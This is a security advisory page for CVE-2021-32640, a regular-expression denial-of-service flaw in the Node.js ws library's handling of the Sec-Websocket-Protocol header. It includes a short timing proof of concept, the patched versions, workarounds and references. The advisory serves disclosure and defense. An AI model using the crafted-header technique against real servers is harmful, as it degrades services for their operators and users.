Ecosyste.ms: Advisories

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTZmYzgtNGd4NC12Njkz

ReDoS in Sec-Websocket-Protocol header

Impact

A specially crafted value of the Sec-Websocket-Protocol header can be used to significantly slow down a ws server.

Proof of concept

for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
  const value = 'b' + ' '.repeat(length) + 'x';
  const start = process.hrtime.bigint();

  value.trim().split(/ *, */);

  const end = process.hrtime.bigint();

  console.log('length = %d, time = %f ns', length, end - start);
}

Patches

The vulnerability was fixed in [email protected] (https://github.com/websockets/ws/commit/00c425ec77993773d823f018f64a5c44e17023ff) and backported to [email protected] (https://github.com/websockets/ws/commit/78c676d2a1acefbc05292e9f7ea0a9457704bf1b) and [email protected] (https://github.com/websockets/ws/commit/76d47c1479002022a3e4357b3c9f0e23a68d4cd2).

Workarounds

In vulnerable versions of ws, the issue can be mitigated by reducing the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options.

Credits

The vulnerability was responsibly disclosed along with a fix in private by Robert McLaughlin from University of California, Santa Barbara.

Permalink: https://github.com/advisories/GHSA-6fc8-4gx4-v693
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTZmYzgtNGd4NC12Njkz
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: almost 3 years ago
Updated: about 1 year ago

CVSS Score: 5.3
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Identifiers: GHSA-6fc8-4gx4-v693, CVE-2021-32640
References:

• https://github.com/websockets/ws/security/advisories/GHSA-6fc8-4gx4-v693
• https://nvd.nist.gov/vuln/detail/CVE-2021-32640
• https://github.com/websockets/ws/commit/00c425ec77993773d823f018f64a5c44e17023ff
• https://github.com/websockets/ws/issues/1895
• https://lists.apache.org/thread.html/rdfa7b6253c4d6271e31566ecd5f30b7ce1b8fb2c89d52b8c4e0f4e30@%3Ccommits.tinkerpop.apache.org%3E
• https://security.netapp.com/advisory/ntap-20210706-0005/
• https://github.com/advisories/GHSA-6fc8-4gx4-v693

Repository: https://github.com/websockets/ws
Blast Radius: 31.6

Affected Packages